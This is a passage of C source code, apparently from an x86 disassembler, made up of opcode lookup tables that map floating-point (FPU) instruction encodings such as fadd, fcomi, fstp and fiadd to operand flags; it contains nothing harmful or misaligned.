\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    \"fclex\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    \"finit\",     FLAGS_NONE|P_w,              FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMI, \"fucomi\",    AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST1|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST2|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST3|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST4|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST5|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST6|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FCOMI,  \"fcomi\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST7|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\nINST inst_table_fpu_dc[72] = {\n\t{ INSTRUCTION_TYPE_FADD,   \"faddl\",     AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmull\",     AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCOM,   \"fcoml\",     AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FCOMP,  \"fcompl\",    AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsubl\",     AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubrl\",    AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdivl\",     AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivrl\",    AM_E|OT_q|P_w,               FLAGS_NONE|P_r,            FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FADD,   \"fadd\",      AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FMUL,   \"fmul\",      AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUBR,  \"fsubr\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSUB,   \"fsub\",      AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIVR,  \"fdivr\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FDIV,   \"fdiv\",      AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n};\nINST inst_table_fpu_dd[72] = {\n\t{ INSTRUCTION_TYPE_FLD,    \"fldl\",      AM_E|OT_q,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISTTP, \"fisttp\",    AM_E|OT_q|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FST,    \"fstl\",      AM_E|OT_q|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstpl\",     AM_E|OT_q|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t// XXX: operand type is not exactly right..\n\t{ INSTRUCTION_TYPE_FPU,    \"frstor\",    AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t// XXX: operand type is not exactly right..\n\t{ INSTRUCTION_TYPE_FPU,    \"fsave\",     AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t// XXX: operand type is not exactly right..\n\t{ INSTRUCTION_TYPE_FPU,    \"fstsw\",     AM_E|OT_d|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST0|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST1|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST2|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST3|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST4|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST5|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST6|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FFREE,  \"ffree\",     AM_REG|REG_ST7|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST0|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST1|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST2|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST3|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST4|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST5|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST6|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FST,    \"fst\",       AM_REG|REG_ST7|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST0|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST1|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST2|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST3|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST4|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST5|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST6|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FSTP,   \"fstp\",      AM_REG|REG_ST7|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST0|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST1|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST2|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST3|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST4|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST5|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST6|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOM,  \"fucom\",     AM_REG|REG_ST7|F_f|P_w,      AM_REG|REG_ST0|F_f|P_r,    FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST0|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST1|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST2|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST3|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST4|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST5|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST6|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FUCOMP, \"fucomp\",    AM_REG|REG_ST7|F_f|P_w,      FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n\t{ INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 }, \n};\nINST inst_table_fpu_de[72] = {\n\t{ INSTRUCTION_TYPE_FIADD,  \"fiadd\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIMUL,  \"fimul\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FICOM,  \"ficom\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FICOMP, \"ficomp\",    AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISUB,  \"fisub\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FISUBR, \"fisubr\",    AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIDIV,  \"fidiv\",     AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FIDIVR, \"fidivr\",    AM_E|OT_w|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_FADDP,  \"faddp\",     